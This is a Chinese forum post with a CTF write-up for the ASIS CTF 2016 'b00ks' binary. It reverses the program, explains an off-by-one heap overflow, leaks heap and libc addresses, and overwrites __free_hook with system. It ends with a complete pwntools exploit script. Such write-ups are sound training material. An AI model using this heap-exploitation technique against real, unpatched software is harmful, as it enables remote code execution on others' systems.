R00tkit 发表于 2023-8-25 17:30

ASIS CTF 2016 : b00ks

本帖最后由 R00tkit 于 2023-9-22 19:51 编辑


# 检查文件信息

ELF64位小端序程序,开了PIE和FULL RELORO,got不可写。

查看编译信息,并修改RPATH,这里还是使用2.23,2.19可以到libc-database下载。

# 试运行

# 逆向分析
```cpp
/* main 函数*/

__int64 __fastcall main(int a1, char **a2, char **a3)
{
struct _IO_FILE *v3; // rdi
int v5; //

setvbuf(stdout, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 1, 0LL);
hello();
get_name(); // 漏洞所在
while ( 1 )
{
    v5 = get_menu(v3);
    if ( v5 == 6 )
      break;
    switch ( v5 )
    {
      case 1:
      Create(v3);
      break;
      case 2:
      Delete(v3);
      break;
      case 3:
      Edit(v3);
      break;
      case 4:
      Print(v3);
      break;
      case 5:
      get_name(); // 漏洞可触发多次
      break;
      default:
      v3 = (struct _IO_FILE *)"Wrong option";
      puts("Wrong option");
      break;
    }
}
puts("Thanks to use our library software");
return 0LL;
}

```

```cpp
/* get_name 函数*/

__int64 get_name()
{
printf("Enter author name: ");
if ( !(unsigned int)offbyone(Author, 32LL) )
    return 0LL;
printf("fail to read author_name");
return 1LL;
}

/* offbyone 函数 */
__int64 __fastcall offbyone(_BYTE *a1, int a2)
{
int i; //

if ( a2 <= 0 )
    return 0LL;
for ( i = 0; ; ++i )
{
    if ( (unsigned int)read(0, a1, 1uLL) != 1 )
      return 1LL;
    if ( *a1 == '\n' )
      break;
    ++a1;
    if ( i == a2 )
      break;
}
*a1 = 0; // 写满的情况下,a1多加了1,第33位会被改成'\x00'
return 0LL;
}

```

```cpp
/* Create 函数 */
__int64 Create()
{
int Size; // BYREF
int Library; //
void *NewBook; //
void *Name; //
void *Description; //

Size = 0;
printf("\nEnter book name size: ");
__isoc99_scanf("%d", &Size);
if ( Size < 0 )
    goto ErrOut;
printf("Enter book name (Max 32 chars): ");
Name = malloc(Size);
if ( !Name )
{
    printf("unable to allocate enough space");
    goto Out;
}
if ( (unsigned int)offbyone(Name, Size - 1) )
{
    printf("fail to read name");
    goto Out;
}
Size = 0;
printf("\nEnter book description size: ");
__isoc99_scanf("%d", &Size);
if ( Size < 0 )
{
ErrOut:
    printf("Malformed size");
}
else
{
    Description = malloc(Size);
    if ( Description )
    {
      printf("Enter book description: ");
      if ( (unsigned int)offbyone(Description, Size - 1) )
      {
      printf("Unable to read description");
      }
      else
      {
      Library = GetLibrary();
      if ( Library == -1 )
      {
          printf("Library is full");
      }
      else
      {
          NewBook = malloc(0x20uLL);
          if ( NewBook )
          {
            *((_DWORD *)NewBook + 6) = Size;
            *((_QWORD *)booklist + Library) = NewBook;
            *((_QWORD *)NewBook + 2) = Description;
            *((_QWORD *)NewBook + 1) = Name;
            *(_DWORD *)NewBook = ++id;
            return 0LL;
          }
          printf("Unable to allocate book struct");
      }
      }
    }
    else
    {
      printf("Fail to allocate memory");
    }
}
Out:
if ( Name )
    free(Name);
if ( Description )
    free(Description);
if ( NewBook )
    free(NewBook);
return 1LL;
}

/* GetLibrary 函数,从0~19 共 20 个booklist中找一个空闲 */

__int64 GetLibrary()
{
int i; //

for ( i = 0; i <= 19; ++i )
{
    if ( !*((_QWORD *)booklist + i) )
      return (unsigned int)i;
}
return 0xFFFFFFFFLL;
}


/* 不难分析book结构体 */
struct book{
    int id;
    void* Name;
    void* Description;
    int Size; // 记录 Description 大小

}

book* booklist;

```

```cpp
/* Delete 函数 */

__int64 Delete()
{
int v1; // BYREF
int i; //

i = 0;
printf("Enter the book id you want to delete: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
    for ( i = 0; i <= 19 && (!*((_QWORD *)booklist + i) || **((_DWORD **)booklist + i) != v1); ++i )
      ;
    if ( i != 20 )
    {
      free(*(void **)(*((_QWORD *)booklist + i) + 8LL)); // 存在 UAF
      free(*(void **)(*((_QWORD *)booklist + i) + 16LL)); // 存在 UAF
      free(*((void **)booklist + i));
      *((_QWORD *)booklist + i) = 0LL;
      return 0LL;
    }
    printf("Can't find selected book!");
}
else
{
    printf("Wrong id");
}
return 1LL;
}

```

```cpp
/* 可以修改 Description 内容*/

__int64 Edit()
{
int v1; // BYREF
int i; //

printf("Enter the book id you want to edit: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
    for ( i = 0; i <= 19 && (!*((_QWORD *)booklist + i) || **((_DWORD **)booklist + i) != v1); ++i )
      ;
    if ( i == 20 )
    {
      printf("Can't find selected book!");
    }
    else
    {
      printf("Enter new book description: ");
      if ( !(unsigned int)offbyone(
                            *(_BYTE **)(*((_QWORD *)booklist + i) + 16LL),
                            *(_DWORD *)(*((_QWORD *)booklist + i) + 24LL) - 1) )
      return 0LL;
      printf("Unable to read new description");
    }
}
else
{
    printf("Wrong id");
}
return 1LL;
}

```

```cpp
/* Print 函数 */

int Print()
{
__int64 v0; // rax
int i; //

for ( i = 0; i <= 19; ++i )
{
    v0 = *((_QWORD *)booklist + i);
    if ( v0 )
    {
      printf("ID: %d\n", **((unsigned int **)booklist + i));
      printf("Name: %s\n", *(const char **)(*((_QWORD *)booklist + i) + 8LL));
      printf("Description: %s\n", *(const char **)(*((_QWORD *)booklist + i) + 16LL));
      LODWORD(v0) = printf("Author: %s\n", (const char *)Author);
    }
}
return v0;
}

```


可以看到Author距离booklist仅有0x20大小,也就是Author可读入大小,但我们可以溢出一个字节'\x00'。也就是说当我们溢出时,再去申请一个book就可以泄露book1的堆地址。

# 漏洞利用
泄露是必不可少的,这道题book1的堆地址泄露很简单,虽然开了PIE保护但是Author到booklist的偏移是不会变的,只需要off-by-one溢出后再去申请一个堆块即可将'\x00'覆盖掉,输出Author时便会将booklist也就是book1的堆地址泄露出来,我们还需要泄露一个栈地址,我们再去审计代码,调试过程中发现通过改名字再次造成off-by-one会把booklist指针迁移到一个奇妙的地方,我们可以控制这块区域制造fake book,从而达到向任意地址写内容。并且unsorted bin里的fd指针就在这个booklist+0x30的地方,我们可以通过打印来泄露栈地址,计算固定偏移来获得libc基址。利用任意地址写,将free_hook处改写为system地址,并释放'/bin/sh\x00'。

## 泄露libc基址
```python
def get_libc_base():
    global libc_base
    p.sendlineafter(b'name: ', b'a'*0x1f + b'b')
    add(0xd0, b'aaaaaaaa',0x20, b'bbbbbbbb') # id 1
    #debug()

    show()
    p.recvuntil(b'aaab')
    heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
    success("heap_addr: 0x%x" % heap_addr)
    add(0x80, b'cccccccc', 0x60, b'dddddddd') # id 2
    add(0x20, b'/bin/sh\x00', 0x20, b'/bin/sh\x00') # id 3
    #debug()
    delete(2)
    #debug()
    edit(1, p64(1) + p64(heap_addr+0x30) + p64(heap_addr+0x1d0) + p64(0x20))
    #debug()
    change(b'a' * 0x20)
    #debug()
    show()
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78

```


由于开了PIE保护,无法直接确认Author地址,我们选择直接从bss起始段开始看,可以看到此时'\x00'已经被覆盖,可以连带将book1堆地址打印出来。




book1结构,看以看到,他是一个0x31大小的堆块,book1-->id-->1; book-->name-->0x00005625f68cd020; book-->Description-->0x00005625f68cd100; book1-->Size-->0x20。注意这里book1指向的位置和booklist的起始位置最后一位通过off-by-one改为0是一样的。


我们来整个看一下book2的布局可以更清楚堆的布局



book3布局



释放book2后,可以看到heap_addr+0x30处就是unsortedbin里第一个chunk_fd的位置。





因为book1指向的位置和booklist最后一位被清零时是同一个位置,所以我们可以通过book1写入一个fake booklist。其id为1,name指向unsortedbin_first_chunk_fd,Description指向book3,打印book1即可得到栈地址,减去其离libc基址的固定偏移就可得到libc基址。

## 将free_hook改为system函数并释放'/bin/sh\x00'。
```python
def get_shell():
    __free_hook=libc_base+libc.symbols['__free_hook']
    system=libc_base+libc.symbols['system']

    edit(1, p64(__free_hook)+ b'\x00'*2 + b'\x20')
    #debug()
    edit(3, p64(system))
    #debug()

    delete(3)

```



向book1的位置写入__free_hook地址,也就是book3的位置。


然后将其改为system地址。


最后释放'/bin/sh\x00'(book3)就可以getshell。
## 完整exp
```python
from pwn import *

context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']

p = process('./b00ks')

elf = ELF('./b00ks')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
    gdb.attach(p)
    pause()

def add(name_size,name,content_size,content):
    p.sendlineafter(b'> ',b'1')
    p.sendlineafter(b'size: ',str(name_size).encode())
    p.sendlineafter(b'chars): ',name)
    p.sendlineafter(b'size: ',str(content_size).encode())
    p.sendlineafter(b'tion: ',content)

def delete(index):
    p.sendlineafter(b'> ',b'2')
    p.sendlineafter(b'delete: ',str(index).encode())

def edit(index,content):
    p.sendlineafter(b'> ',b'3')
    p.sendlineafter(b'edit: ',str(index).encode())
    p.sendlineafter(b'ption: ',content)

def show():
    p.sendlineafter(b'> ',b'4')

def change(author_name):
    p.sendlineafter(b'> ',b'5')
    p.sendlineafter(b'name: ',author_name)

def get_libc_base():
    global libc_base
    p.sendlineafter(b'name: ', b'a'*0x1f + b'b')
    add(0xd0, b'aaaaaaaa',0x20, b'bbbbbbbb') # id 1
    #debug() # 1
    show()
    p.recvuntil(b'aaab')
    heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
    success("heap_addr: 0x%x" % heap_addr)
    add(0x80, b'cccccccc', 0x60, b'dddddddd') # id 2
    add(0x20, b'/bin/sh\x00', 0x20, b'/bin/sh\x00') # id 3
    #debug() # 2
    delete(2)
    #debug() # 3
    edit(1, p64(1) + p64(heap_addr+0x30) + p64(heap_addr+0x1d0) + p64(0x20))
    #debug() # 4
    change(b'a' * 0x20)
    #debug() # 5
    show()
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78

def get_shell():
    __free_hook=libc_base+libc.symbols['__free_hook']
    system=libc_base+libc.symbols['system']

    edit(1, p64(__free_hook)+ b'\x00'*2 + b'\x20')
    #debug() # 6
    edit(3, p64(system))
    #debug() # 7
    delete(3)

def pwn():
    get_libc_base()
    get_shell()
    p.interactive()

if __name__ == '__main__':
    pwn()

```

白兰度 发表于 2023-8-29 10:31

肯定不写的,除非被请
页: [1]
查看完整版本: ASIS CTF 2016 : b00ks